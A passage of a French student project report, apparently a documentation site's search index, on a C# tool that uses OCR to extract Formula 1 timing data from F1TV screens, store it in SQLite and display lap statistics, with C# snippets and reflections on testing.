l'imaginer la r\u00e9solution est extr\u00eamement importante pour l'OCR. Et en avancant sur le projet de l'\u00e9mulateur je me suis rendu compte qu'il \u00e9tait possible de r\u00e9cup\u00e8rer des images en 4K (Plut\u00f4t 1080 avec l'upscaling du lecteur). Cela est une superbe nouvelle car cela permet de simplifier \u00e9norm\u00e9ment le processing sur les diff\u00e9rentes windows. Quelques exemples pour se faire une id\u00e9e \"Echantillon 720P\" ; \"Echantillon 1080P\" \"Echantillon 4K\" Mais il faut savoir que gr\u00e2ce \u00e0 cette simplification j'ai pu aussi cr\u00e9er d'autres methodes de filtrage pour certaines parties. Mais la simplification \u00e9tait obligatoire car avec des images aussi grande il n'\u00e9tait simplement pas possible de venir appliquer les m\u00eames filtres car le temps de traitement serait beaucoup plus long. J'indique ces changements que apr\u00e8s l'explication d'avant car ce sont des changements un peu de derni\u00e8re minute et que la logique expliqu\u00e9e plus haut a \u00e9t\u00e9 tr\u00e8s importante pour le projet OCR m\u00eame si tout n'est plus forc\u00e9ment utilis\u00e9 maintenant que j'ai des images de meilleure qualit\u00e9. Dans la version actuellement disponible la reconnaissance a \u00e9t\u00e9 simplifi\u00e9e sous cette forme : Le \"GapToLeader\" est d\u00e9cod\u00e9 avec un premier passage de Tresholding \u00e0 165 puis un Resize de 2 et une Dilatation de 1 pour retirer le flou Les \"Sectors\" sont d\u00e9cod\u00e9s en utilisant une toute nouvelle methode VanishOxyAction \u00e0 cause des couleurs parfois appliqu\u00e9es et ensuite simplement une methode de Tresholding de 150 pour rendre le r\u00e9sultat assez propre pour l'OCR. Le \"LapTime\" est dabord pass\u00e9 par un Tresholding tr\u00e8s strict de 185 pour pr\u00e9parer la SobelEdgeDetection qui est \u00e9galement une nouvelle methode qu'il a \u00e9t\u00e9 possible d'utiliser gr\u00e2ce \u00e0 la simplification du reste des processus. Le \"Text\" est d\u00e9cod\u00e9 simplement avec un tresholding de 165 maintenant gr\u00e2ce \u00e0 l'image 4K. Les pneus ont leur propre traitement comme expliqu\u00e9 plus haut auquel on ajoute la Dilatation de 1. Comme on peut le voir le traitement est pas mal plus simple mais cela ne veut pas dire que les autres methodes que je n'utilise plus ne sont pas utiles. La reconnaissance n'est pas encore parfaite et je pense que leur utilisation pourrait aider \u00e0 am\u00e9liorer les r\u00e9sultats. (Et parfois ces anciennes methodes sont utiles dans les traitements personnalis\u00e9s des windows elle m\u00eames comme par exemple les pneus qui utilisent la methode GrayScale pour isoler les couleurs) VanishOxyAction Cette methode est une methode plut\u00f4t simple mais qui est importante. Elle se base beaucoup sur le code de la methode Grayscale et sur la methode Tresholding car elle essaie de regrouper le meilleur des deux en r\u00e8glant quelques soucis que ces derni\u00e8res cr\u00e9\u00e9ent. Le soucis avec la methode grayscale c'est que quand le texte est de couleur (Ce qui arrive souvent pour les temps de secteurs) la methode GrayScale rend les couleurs dans une nuance de gris un peu trop sombre ce qui fait que ensuite la methode de Tresholding d\u00e9fonce tout. \"Exemple de secteur en couleur\" \"Exemple de secteur en grayscale\" L'id\u00e9e est alors de prendre pour chaque pixel et de garder uniquement la valeur de R,G ou B la plus haute et de mettre les deux autres canaux au m\u00eame niveau pour avoir une image blanchie qui puisse \u00eatre ensuite utilis\u00e9e avec la methode de Tresholding sans soucis. \"Exemple de secteur blanchi avec vanishoxyAction\" SobelEdgeDetection On pourrait se dire que avec ce genre de methode le tresholding est inutile ensuite mais ca n'est pas le cas car le tresholding sert ensuite pour rendre les contours plus ou moins aggressif. Car m\u00eame si l'image ressemble \u00e0 une image binaris\u00e9e, il reste des nuances que le treshold va pouvoir utiliser. SobelEdgeDetection Cette methode est une methode assez classique que je n'ai pas design\u00e9 moi m\u00eame alors je ne vais pas trop m'\u00e9pancher dessus. En gros on utilise une matrice et une formule math\u00e9matique pour redessiner une image et le r\u00e9sultat est une image avec des contours. Je ne l'ai utilis\u00e9 que pour les temps au tour car ce sont les plus r\u00e9calcitrants. Cette methode a besoin d'une image pass\u00e9e en noir et blanc au pr\u00e9alable \u00e0 laquelle on applique ensuite les matrrices de filtres. Et avec ces filtres ajout\u00e9s \u00e0 l'image on peut ensuite calculer le \"Gradient\" pour cr\u00e9er les bords. Le seul soucis de cette methode c'est qu'elle est assez gourmande et qu'elle fournit des formes creuses d\u00fb \u00e0 la nature des matrices donn\u00e9es. Voici un exemple de ce dont cette m\u00e9thode est capable : Artefacts de la detection de bords de Sobel Apparemment l'OCR aime assez bien cette methode et elle permet de beaucoup moins souvent oublier les '.' ou ':'","title":"Petit point r\u00e9solution"},{"location":"index.html#traitement-des-donnees","text":"C'est bien gentil de recevoir des r\u00e9sultats de l'OCR, cependant on ne peut pas souvent les utiliser comme tels. En effet les resultats ne sont pas tr\u00e8s constants et demandent d'\u00eatre verifi\u00e9s pour savoir si ils doivent \u00eatre pris en compte. Le post traitement de ces donn\u00e9es d\u00e9pend compl\u00eatement du contexte et donc il est diff\u00e9rent pour chque type de window. Voici un floril\u00e8ge des diff\u00e9rents types de traitements : Traitement du nom de pilote Rien de plus que ce qui est d\u00e9ja d\u00e9taill\u00e9 dans la partie OCR Traitement des pneus Pareil Traitement des temps La par contre c'est int\u00e9ressant. Dans un monde parfait je pourrais simplement prendre les r\u00e9sultats de l'OCR et les traiter directement. Mais comme nous vivons dans un monde ou la souffrance et la douleur sont les seules choses autoris\u00e9es on ne peut pas. Le probl\u00e8me vient du fait que les temps que l'on peut trouver sur la F1TV sont encod\u00e9s avec des '.' et des ':' qui determinent les limites entre les chiffres qui d\u00e9signent les minutes, les secondes et les milisecondes. Et le soucis avec ces s\u00e9parateurs c'est qu'ils aiment bien mettre le chaos dans la reconnaissance. Quand ils ne sont pas compris comme des autres chiffres ils sont parfois simplement oubli\u00e9s ou pris en double c'est un enfer. Il faut donc trouver un moyen de detecter quand cela arrive. Et je n'ai pas trouv\u00e9 de meilleur moyen que de faire du cas par cas. Cela peut para\u00eetre simple quand on parle par exemple des secteurs. On sasit que on attend deux chiffres avant un '.' et trois chiffres apr\u00e8s. Il est donc facile de voir que si je trouve six chiffres et pas de s\u00e9paration le troisi\u00e8me est le s\u00e9parateur mal compris. Mais l'exemple qui d\u00e9truit vraiment tout c'est les \u00e9carts avec le leader. Autant un temps au tour c'est toujours x:xx.xxx et un temps de secteur c'est xx.xxx. Mais un \u00e9cart avec le leader ca peut \u00eatre 0.345 comme 1:12.345. Ce qui fait que quand je 121345 est-ce que c'est 12.345 ou 1:21.345...? Souvent on peut quand m\u00eame d\u00e9duire mais cela demande de pr\u00e9voir presque tous les cas limites ce qui est assez p\u00e9nible. On pourrait se dire qu'il suffit de voir si la valeur est trop en dehors des normes. Le soucis c'est que il n'est pas impossible que un temps au tour ou un \u00e9cart prenne d'un coup une grosse diff\u00e9rence. Cela arrive m\u00eame assez souvent quand des pilotes sortent de la piste. \"Exemple temps au tour\" \"Exemple temps secteur\" Pour ce qui est du DRS et de la position des pilotes, il n'y a pas vraiment de traitement suppl\u00e9mentaire. Non pas car la detection est parfaite, mais par ce que la detection ne peut pas rater de 200 facons. Le DRS ne peut retourner que TRUE ou FALSE et la position du pilote est entre 1 et 20 compris. Le peu de nuance fait que ce sont des cas de figures qui ne demandent pas un traitement particulier au del\u00e0 de l'OCR","title":"Traitement des donn\u00e9es"},{"location":"index.html#stockage-des-donnees","text":"Dans ce projet le but n'est pas simplement de trouver les donn\u00e9es et les afficher. L'int\u00e9r\u00eat de les r\u00e9cup\u00e8rer est de pouvoir les comparer \u00e0 d'autres donn\u00e9es pr\u00e9c\u00e9dentes. Le vrai soucis de la F1TV c'est justement que l'on ne peut pas facilement voir les \u00e9volutions. On ne peut voir que des \"photos\" de la situation actuelle de la course. Il faut donc garder en m\u00e9moire les diff\u00e9rentes choses qui se sont pass\u00e9es. Techniquement on pourrait stocker ces donn\u00e9es dans de b\u00eates listes C#. Mais le soucis avec ca c'est que m\u00eame si des outils comme LinQ existent, ca n'est pas le plus pratique quand on veut faire des recherches complexes. Il faut aussi voir que si le projet dans sa forme actuelle aurait peut-\u00eatre pu se satisfaire de listes simples, le but est d'ensuite pouvoir construire sur ces bases pour faire des predictions et des insertions de stats beaucoup plus int\u00e9ressantes qui demandent de faire des requ\u00eates complexe rapidement. Je me suis dit que la meilleure methode serait d'avoir une base de donn\u00e9e dans laquelle je peux faire des requ\u00e8tes SQL. Mais commme je n'ai pas besoin de toutes les features de SQl et que je ne veut pas avoir \u00e0 g\u00e8rer un serveur de base de donn\u00e9e et tout ce qui va avec je me suis dit qu'une bonne option serait d'utiliser SQLITE. \"Logo Sqlite\" ; SQLITE est vraiment pratique car cela me permet d'avoir une DB sans avoir de serveur donc pas vraiment complexe ou quoi que ce soit mais qui conserve les aventages de rapidit\u00e9 et d'utilisation de requetes SQl. J'ai cr\u00e9\u00e9 trois tables dans cette base de donn\u00e9e SQLITE que voici :","title":"Stockage des donn\u00e9es"},{"location":"index.html#base-de-donnee","text":"Drivers Colonne Type de Data Description Tag ID INTEGER ID du pilote PRIMARY Name VARCHAR Nom du pilote NOT NULL Pitstops Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui a effectu\u00e9 le Pitstop PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL Stats Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui concern\u00e9 PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL LapTime INTEGER Temps au tour (MS) NOT NULL Sector1 INTEGER Temps du secteur 1 (MS) NOT NULL Sector2 INTEGER Temps du secteur 2 (MS) NOT NULL Sector3 INTEGER Temps du secteur 3 (MS) NOT NULL GapToLeader INTEGER Ecart avec le leader (MS) NOT NULL Position INTEGER Position pilote NOT NULL La table Drivers sert juste \u00e0 stocker les diff\u00e9rents noms de pilote pour qu'ils soient utilis\u00e9s dans le reste de la DB La table Pitstops n'est pas vraiment utilis\u00e9e dans l'\u00e9tat actuel du projet. Mais le but \u00e9tait de la remplir d\u00e8s que le programme d\u00e9tectais un arr\u00eat aux stands. Le but est ensuite de pouvoir construire un classement pond\u00e8r\u00e9 en fonction des arr\u00eats des diff\u00e9rents pilotes et d'afficher la stats tout le temps sur l'affichage principal. Elle n'est pas vraiment utilis\u00e9e car la detection de pitstop n'a pas pu \u00eatre commpl\u00eat\u00e9e. De par la nature des donn\u00e9es r\u00e9cup\u00e8r\u00e9es des pneus et des positions, c'est tr\u00e8s difficile de detecter avec prescision un arr\u00eat aux stands. La table Stats est la plus importante car elle contient toutes les informations concernant les pilotes \u00e0 chaque tour. L'id\u00e9e est qu'elle soit remplie \u00e0 chaque tour. Les infos ne sont pas scens\u00e9e \u00eatre les infos live mais plut\u00f4t juste une photo \u00e0 chaque tour de la situation de chaque pilote pour ensuite pouvoir faire des commparaisons tourspar tours. Des donn\u00e9es comme le GapToLeader peuvent \u00e9voluer pendant le tour mais on s'en fiche. Ce qui compte vraiment c'est le temps au tour et les secteurs ainsi que les pneus.","title":"Base de donn\u00e9e"},{"location":"index.html#quand-remplir-la-base","text":"Dans ce projet il y a deux type d'information. Les informations live qui sont stock\u00e9es dans des listes et les informations long terme qui sont stock\u00e9es dans la DB. A chaque it\u00e9ration de l'OCR, les donn\u00e9es r\u00e9cup\u00e8r\u00e9es sont stock\u00e9es dans une liste de DRIVERDATA. Les DRIVERDATA sont des structures de donn\u00e9es qui contiennent toutes les infos d'un pilote \u00e0 un instant T. Elles peuvent \u00eatre incompl\u00eates et sont juste la pour faire de petits calculs et determiner quand ins\u00e8rer des donn\u00e9es permanentes. Ce qui nous am\u00e8ne au moment int\u00e9ressant. Comment on d\u00e9termine quand il est int\u00e9ressant d'ins\u00e8rer des informations dans la base de donn\u00e9es. Il y a deux cas de figure ou on pourrait vouloir ins\u00e8rer des infos :","title":"Quand remplir la base ?"},{"location":"index.html#quand-un-pilote-a-finit-un-tour","text":"En effet, j'ai estim\u00e9 que les seuls moments ou on veut garder une photo de la situation du pilote c'est quand il passe d'un tour \u00e0 l'autre. Le raisonnement est le suivant : On ne veut pas conserver TOUTES les donn\u00e9es car si on prend une phot toutes les trois secondes, la majorit\u00e9 des informations seront redondantes avec les pr\u00e9c\u00e9dentes. Mais en m\u00eame temps il ne faut pas rater des changements importants de donn\u00e9es. Les seules donn\u00e9es qui changent entre deux passages de l'OCR sont les \u00e9carts entre les pilotes et de temps en temps un nouveau secteur s'affiche. Alors que d'un tour \u00e0 l'autre presque toutes les informations changent. Et on ne perd que les l\u00e9g\u00e8res fluctuations des \u00e9carts entre les pilotes. J'ai donc d\u00e9cid\u00e9 de conserver une photo par tour. Mais c'est bien joli sauf qu'il reste une difficult\u00e9 : Comment savoir qu'un pilote a fait son tour ? Cela peut para\u00eetre simple comme question mais elle est plus difficile qu'il n'y parait. Il faut savoir que en F1 un pilote peut \u00eatre dans son 26\u00e8me tour pendant qu'un autre en est \u00e0 son 24\u00e8me. Chaque pilote a sa propre course et au fur et \u00e0 mesure que les \u00e9carts se creusent il peut y avoir un tour voir plusieurs d'\u00e9cart entre la queue de course et les premiers pilotes. Ensuite il faut savoir qu'il n'est pas marqu\u00e9 sur la f1TV dans quel tour chaque pilote est. Il faut donc le d\u00e9duire en fonction des Data. Voici le code le if qui d\u00e9tecte un nouveau tour if ( DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Sector3 != 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Sector3 == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Position != - 1 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Position != - 1 ) { //Do stuff } DriverDataLogs est une liste de liste d'informations de pilotes. Chaque DriverDataLogs repr\u00e9sente les 20 photos des donn\u00e9es des pilotes. Cela veut dire que DriverDataLogs[3] repr\u00e9sente toutes les infos des pilotes dans le tour 4 et que DriverDataLogs[3][0] repr\u00e9sente toutes les infos du premier pilote dans le tour 3. Si on analyse un peu ce qui est \u00e9crit avec ces informations, on peut voir que je d\u00e9termine qu'un nouveau tour se d\u00e9finis comme une photo ou le troisi\u00e8me secteur a \u00e9t\u00e9 compl\u00eat\u00e9 et ou il ne l'\u00e9tait pas juste avant. Cela fait sens car quand un pilote compl\u00eate son troisi\u00e8me secteur c'est la que son dernier temps au tour se met \u00e0 jour. Le reste des tests est juste la pour \u00e9viter les faux positifs dans le cas ou un des deux DriverDataLogs[x][x] soit corrompu et que donc la valeur n'aie pas de sens. Cela veut dire que dans des conditions tr\u00e8s sp\u00e9cifiques je pourrais potentiellement rater un tour mais il faudrait vraiment que l'OCR me joue un vilain tour.","title":"Quand un pilote a finit un tour"},{"location":"index.html#quand-un-pilote-a-fait-un-arret-aux-stands","text":"Et la on touche le plus difficile. Pourtant un arr\u00eat aau stand ne devrait pas \u00eatre compliqu\u00e9 \u00e0 detecter. C'est quand un pilote change de pneu. Alors il peut changer de pneu en gardant le m\u00eame type de pneu et donc tout repose sur le nombre de tour qu'un pneu fait. Sauf que il faut ajouter \u00e0 cette reflexion qu'un pneu peut \u00eatre chauss\u00e9 sans qu'il soit neuf. Ce qui veut dire que l'on ne peut pas simplement choisir qu'un pilote a chang\u00e9 de pneus quand ses pneus sont \u00e0 1 tour. Il peut tr\u00e8s bien reprendre des pneus de qualif qui peuvent avoir 10 tours dans les pattes. En plus quand le pilote change de pneus il y a un phenomene assez p\u00e9nible qui fait que les deux premiers tours faits avec ne sont pass vraiment d\u00e9chiffrables car ils sont un peu cach\u00e9s derri\u00e8re la lettre qui indique le nouveau pneu chauss\u00e9. Exemple : \"Infographie de pneu qui se chevauche\" Voici le code que j'avais \u00e9crit pour tenter de trouver quand un pilote avait fait un pitstop : if ( data . CurrentTyre . Coumpound != Tyre . Type . Undefined && data . CurrentTyre . NumberOfLaps == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps != 0 ) { //Do stuff } On peut voir que j'essaie de detecter quand le pneu est \u00e0 0 tours (ce qui est le moment ou il y a une lettre \u00e0 la place d'un num\u00e9ro de tour) et que la photo d'avant montrait un pneu normal. On v\u00e9rifie aussi que le pneu a bien \u00e9t\u00e9 detect\u00e9 en verifiant que le pneu n'est pas de type undefined. Le soucis c'est que ce n'est pas rare que l'OCR nous retourne qu'un pneu est vieux de 0 tours et donc il est absolument impossible de faire confiance \u00e0 cette metric. Si on veut utiliser cette methode pour trouver les Pitstop il va falloir avant tout am\u00e9liorer l'OCR sur ce point. Ce soucis mets en lumi\u00e8re un principe assez important de l'informatique \"Ggarbage in, Garbage out\". Si les donn\u00e9es que je recoit ne sont pas g\u00e9niales, le r\u00e9sultat ne sera pas g\u00e9nial non plus. Ce qui est frustrant c'est que la detection des pneus n'est pas si mal mais entre les chiffres qui se chevauchent ce qui nous fait lire 0 alors que c'est juste un un '1' derri\u00e8re un 'H' ou le 1% du temps ou le programme se trompe, on ne peut pour l'instant tout simplement rien faire de mieux.","title":"Quand un pilote a fait un arr\u00eat aux stands"},{"location":"index.html#affichage-des-donnees","text":"Maintenant que l'on a stock\u00e9 toutes ces donn\u00e9es, il faut en faire quelque chose sinon ca ne sert a rien. Afficher les donn\u00e9es est techniquement la partie la plus simple du projet. Il faut prendre les donn\u00e9es qui nous int\u00e9ressent de la base de donn\u00e9es et des r\u00e9sultats de l'OCR et les afficher sur des composants Windows Forms. Il y a deux types d'affichages actuellements mis en place dans le projet sur les trois pr\u00e9vus initialement :","title":"Affichage des donn\u00e9es"},{"location":"index.html#affichage-direct","text":"L'affichage direct est simplement l'affichage du r\u00e9sultat de l'OCR. Par exemple le classement live ainsi que les \u00e9carts entre les pilotes sont affich\u00e9s directement depuis les r\u00e9sultats de l'OCR. Ce ne sont pas forc\u00e9ment des donn\u00e9es prises dans la base de donn\u00e9e. Voici un exemple : for ( int driverCount = 0 ; driverCount < liveData . Count ; driverCount ++) { DriverData driver = liveData [ driverCount ]; lblDriverName . Text = driver . Name ; lblDriverPosition . Text = driver . Position ; lblDriverLapTime . Text = Reader . ConvertMsToTime ( driver . LapTime ); } C'est l'affichage le plus simple et celui qui est le plus soumis \u00e0 des erreurs. En effet, si un pilote est mal detect\u00e9 on le verra directement mal s'afficher dans la Form principale. C'est \u00e9galement l'affichage le moins int\u00e9ressant car il ne cr\u00e9e aucune information, il ne fait que remontrer les infos que l'on peut d\u00e9ja voir dans la F1TV \"Exemple d'affichage live\"","title":"Affichage direct"},{"location":"index.html#affichage-calcule","text":"La encore il y a plusieurs types d'affichages :","title":"Affichage calcul\u00e9"},{"location":"index.html#affichage-hybride","text":"Pour ce qui est des affichages hybrides ce sont des affichages qui vont chercher des informations lives et des informations dans la base de donn\u00e9e. Ils ne font pas de calculs \u00e0 proprement parler mais ils affichent plus d'informations que ce que montre la F1TV. Cela veut dire qu'ils repr\u00e9sentent un d\u00e9but de plusvalue par rapport \u00e0 l'alternative qu'est la page DATA de la F1TV. Ils ne sont pas beaucoup plus durs \u00e0 impl\u00e9menter mais demandent de faire des requ\u00eates \u00e0 la base de donn\u00e9e. Comme exemple d'affichage hybride on a l'affichage des cinq derniers tours d'un pilote. C'est un affichage qui ne demande aucun calcul mais qui permet deja de se rendre compte de si le pilote est enn train de perdre ou gagner du temps ou si il est constant, ce qui n'est pas possible actuellement avec la F1TV \u00e0 moins d'avoir une excellente m\u00e9moire. \"Fen\u00eatre d'informations \u00e0 propos d'un pilote\" Voici un exemmple du type de code necessaire pour afficher ce genre de donn\u00e9es: public List <( int LapTime , int Lap )> GetDriverLaptimes ( string driverName , int numberOfLaptimes ) { int driverId = GetDriverID ( driverName ); List <( int LapTime , int Lap )> lapData = new List <( int LapTime , int Lap )>(); string selectQuery = \"Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit\" ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@limit\" , numberOfLaptimes ); SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { int lapTime = reader . GetInt32 ( 0 ); int lap = reader . GetInt32 ( 1 ); lapData . Add (( lapTime , lap )); } } return lapData ; } public void Display (){ List <( int LapTime , int Lap )> lapsInfos = Storage . GetDriverLaptimes ( driverName , 5 ); int id = 0 ; foreach (( int LapTime , int Lap ) lapData in lapsInfos ){ Labels [ id ]. Text = LapTime ; id ++; } } Note: Le code montr\u00e9 ici n'est pas forc\u00e9ment le code utilis\u00e9 dans le projet. D'une certaine facon les fen\u00eatres de bataille et de d\u00e9passements sont aussi des hybrides. \"Exemple fen\u00eatre des batailles\" Ici ce sont les batailles qui sont repr\u00e9sent\u00e9es. Aucune donn\u00e9e n'est calcul\u00e9e, c'est litterallement directement les donn\u00e9es de la F1TV, mais la nuance est qu'on ne montre que les pilotes qui sont en train de se battre et que on leur assigne une couleur selon \u00e0 quel point ils sont proches. On a une plus-value sur la F1TV sans pour autant faire de monstres calculs. Pour info, les pilotes consid\u00e8r\u00e9s comme \u00eatant en train de se battre sont les pilotes \u00e0 moins de trois secondes les uns des autres et les couleurs sont suivantes : Vert : Dans la zone de DRS (Moins d'une seconde) Jaune : Plus d'une seconde Noir : Plus de deux secondes \"Exemple fen\u00eatre des d\u00e9passements\" La c'est l'historique des d\u00e9passements qui est affich\u00e9. On pourrait presque dire que c'est un affichage compl\u00eatement calcul\u00e9 car ce ne sont pas des informations disponibles directement sur la F1TV cependant je dirais que cela reste un hybride car il n'y a aucuns calculs. On regarde juste les diff\u00e9rences entre l'ancienne position d'un pilote et la nouvelle et on affiche les changements.","title":"Affichage Hybride"},{"location":"index.html#affichage-totalement-calcule","text":"L'affichage compl\u00eatement calcul\u00e9 est un type d'affichage qui ne montre aucune information trouv\u00e9e sur la page de la F1TV. C'est le premier affichage \u00e0 traiter l'information qu'il trouve et il retourne des informations nouvelles. La nuance avec les affichages pr\u00e9dictif est qu'il ne cr\u00e9e pas r\u00e9ellement de l'information, il la d\u00e9duit. Le but est de prendre un certain nombre d'informations trouv\u00e9es sur la page de la F1TV et de calculer des choses pour faire ressortir des tendances \u00e0 l'utilisateur. Cependant on reste sur des informations factuelles. Ce sont des infos d\u00e9duites que techniquement unn humain avec une bonne m\u00e9moire et fort en calcul mental pourrait faire. Mais la c'est fait automatiquement pour tous les pilotes et c'est affich\u00e9 de sorte \u00e0 faire ressortir les valeurs sp\u00e9ciales. Comme c'est un peu plus abstrait, je pense qu'un exemple vaut mieux que 1000 mots. \"Exemple de fen\u00eatre d'informations totalement calcul\u00e9es\" Ci dessus on peut voir un bon exemple. C'est une fen\u00eatre qui montre qui sont les pilotes les plus rapides et les moins rapides et qui montre la diff\u00e9rence de temps au tour. Cette information est totalement d\u00e9duite et n'est en aucun cas trouvable sur la F1TV mais elle n'est pas invent\u00e9e. Elle est simplement calcul\u00e9e. La formule est assez simple, je prend les cinq derniers temps au tour de tous les pilotes. Je fais une moyenne qui donne un temps. Et ensuite je trie les pilotes en fonction de ce temps et je n'affiche que les cinq plus rapide et les cinq plus lents. Ensuite il suffit de prendre le temps le plus rapide et faire une petite soustraction pour avoir l'\u00e9cart. C'est une stat assez int\u00e9ressante car elle lisse les diff\u00e9rences d'un tour \u00e0 l'autre et fait ressortir une tendance. On peut voir pour le grand prix de monaco 2023 par exemple, le moment ou les pneus pluie deviennent plus int\u00e9ressants que les pneus secs car on voit que les pilotes les plus rapides sont les pilotes de fond de grille qui ont chauss\u00e9 les pneus pluie en premier tandis que les plus lents sont les pilotes sur pneus secs vieux. Voici un bout de code qui s'occupe de faire les calculs : List <( int avg , string driverName )> averages = new List <( int avg , string driverName )>(); foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { //We want to recover the last 5 lap times List <( int lapTime , int lap )> laps = Storage . GetDriverLaptimes ( driver . Name , 5 ); if ( laps . Count > 0 ) { int avg = 0 ; foreach (( int lapTime , int lap ) lap in laps ) { avg += lap . lapTime ; } avg = avg / laps . Count ; averages . Add (( avg , driver . Name )); } }","title":"Affichage totalement calcul\u00e9"},{"location":"index.html#affichage-predictif","text":"C'est ici que ca devient vraiment dommage, le projet a mannqu\u00e9 de temps pour impl\u00e9menter des affichages pr\u00e9dictifs mais le potentiel est la ! Un affichage pr\u00e9dictif est un affichage qui cr\u00e9e des informations \u00e0 partir des infos qu'il a mais qui fait plus qu'un calcul. Le but est de tenter de deviner quelque chose. Voici des exemples d'affichages pr\u00e9dictifs qui pourraient \u00eatre mis en place averc l'architecture actuelle du projet : Si un pilote a des pneus depuis plus de 20 tours et que son temps au tour est en chute libre depuis cinq tours. Alors ce pilote va peut-\u00eatre devoir s'arr\u00eater. Si un pilote tourne une seconde au tour plus vite que le pilote devant lui et que ce pilote est \u00e0 10 secondes devant, alors il devrait pouvoir le rattraper d'ici dix tours. Si un arr\u00eat au stand est en moyenne de 23 secondes, alors un pilote 3\u00e8me ressortirais potentiellement 7\u00e8me si il s'arr\u00eate maintenant. Tous ces exemples sont des mini algorythmes pr\u00e9dictifs qui pourraient \u00eatre impl\u00e9ment\u00e9s assez facilement dans l'architecture actuelle du projet et pourraient apporter une immense plus-value si ils sont bien param\u00eatr\u00e9s. On peut m\u00eame imaginer que l'algorythme se corrige tout seul si il voit qu'il a eu tort pour que les course suivante il puisse mieux s'en sortir. Les possibilit\u00e9es sont infinies !","title":"Affichage pr\u00e9dictif"},{"location":"index.html#tests","text":"Alors la on arrive \u00e0 la GROSSE erreur de ce projet... Si je ne pouvais changer qu'une seule chose \u00e0 ma facon de faire le projet apr\u00e8s coup c'est ici que je ferai le changement. Les tests sont d'une importance absolument capitale mais si ils sont bien faits, c'est surtout un moyen ultra efficace de v\u00e9rifier que du nouveau code est performant et est beaucoup plus pratique \u00e0 utiliser. Je pense sans rire que j'aurais pu gagner plusieurs jours de travail si j'avais travaill\u00e9 diff\u00e9remment vis-a-vis des tests.","title":"Tests"},{"location":"index.html#comment-ca-cest-passe","text":"D\u00e8s la cr\u00e9ation du planning pr\u00e9visionnel j'ai fait une erreur capitale. J'ai mis les tests en fin de developpement des features... Et je ne leur ai laiss\u00e9 que tr\u00e8s peu de temps tout en les mettant au milieu du chemin critique ce qui les rends particuli\u00e8rement vuln\u00e9rables si une t\u00e2che du chemin critique est retard\u00e9e. En fait dans ce projet je voulais surtout \u00e9viter de faire comme certains projets que l'on a pu avoir pendant notre formation. C'est \u00e0 dire que je ne voulais surtout pas oublier la doc. Alors j'ai agenc\u00e9 le projet pour commencer par les fondations de la doc, puis en incluant les p\u00e9riodes de programmation et entre ces derni\u00e8re ajouter des Tests dans les trous. Le soucis c'est que du coup les projets \u00e9taient un peu le dernier truc dont je devais me soucier ce qui a \u00e9t\u00e9 une tr\u00e8s mauvaise id\u00e9e. Je me suis retrouv\u00e9 \u00e0 devoir mordre sur les jours de tests car les t\u00e2ches de programmation mettaient plus de temps que pr\u00e9vu (qui elles-m\u00eame auraient p\u00fb \u00eatre plus courte avec une bonne utilisation des tests) et je mme suis retrouv\u00e9 \u00e0 passer outre les tests pour avancer sur le reste du projet. J'ai donc du en panique \u00e0 la toute fin du projet construire quelques tests \"unitaires\" dont l'utilit\u00e9 est tr\u00e8s limit\u00e9e car tout le travail a d\u00e9ja \u00e9t\u00e9 fait et que vu la complexit\u00e9 qu'a pris le projet, faire de vrais tests unitaires est devenu un peu trop compliqu\u00e9 pour valoir le coup. Les seuls tests \"unitaires\" (Je l'\u00e9cris entre quotes car ce ne sont pas vraiment des tests unitaires mais plut\u00f4t des tests tout courts car ils ne sont pas sp\u00e9cifiques) qu'il y a dans le projet final sont des tests exclusivement tourn\u00e9s sur l'OCR. Ils sont d\u00e9ja vraiment pratiques car cela me permet de tester d'autres algorythmes d'OCR et voir si les r\u00e9sultats sont meilleurs ou non mais c'est juste un peu trop tard quoi... Les tests unitaires que j'ai impl\u00e9ment\u00e9s sont un peu tous pareils au niveau du fonctionnement : On choisit une image dans une liste d'images pr\u00e9par\u00e9es qui sont scens\u00e9e repr\u00e9senter le type de donn\u00e9es rencontr\u00e9es par l'application en temps normal On lis le nom de l'image que j'ai mis manuellement en indiquant ce qui \u00e9tait marqu\u00e9 sur l'image On fait un coup d'OCR sur l'image et on compare ce r\u00e9sultat avec la valeur que l'on est scens\u00e9 retrouver En pratique on est sur un code de ce style : [TestMethod()] public void SectorOCR_Test () { string directory = @\"./../../TestImages/Sectors/\" ; foreach ( string file in Directory . GetFiles ( directory )) { Bitmap image = ( Bitmap ) Image . FromFile ( file ); DriverSectorWindow sectorsWindow = new DriverSectorWindow ( image , new Rectangle ( 0 , 0 , image . Width , image . Height ), 1 , true ); string [] paths = file . Split ( '/' ); string fileName = paths [ paths . Length - 1 ]; fileName = fileName . Replace ( \".png\" , \"\" ); int timeMS = ( int ) sectorsWindow . DecodePng (); string time = Reader . ConvertMsToTime ( timeMS ); string [] checkDigits = fileName . Split ( '_' ); string [] digitsToCheck = time . Split ( ':' ); if ( time == \"0:00:000\" ) { Assert . AreEqual ( 0 , Convert . ToInt32 ( checkDigits [ 0 ])); } else { //The ConvertMSToTime will always return three chars so we need to make the checkDigits be also three chars while ( checkDigits . Length != 3 ) checkDigits = new [] { \"0\" }. Concat ( checkDigits ). ToArray (); for ( int i = 0 ; i < checkDigits . Length ; i ++) { //We need to convert to int first because sometimes we have \"08\" and \"8\" and in string its not the same but in int it is Assert . AreEqual ( Convert . ToInt32 ( checkDigits [ i ]), Convert . ToInt32 ( digitsToCheck [ i ])); } } } } Tout le code suppl\u00e9mentaire qui ne fait 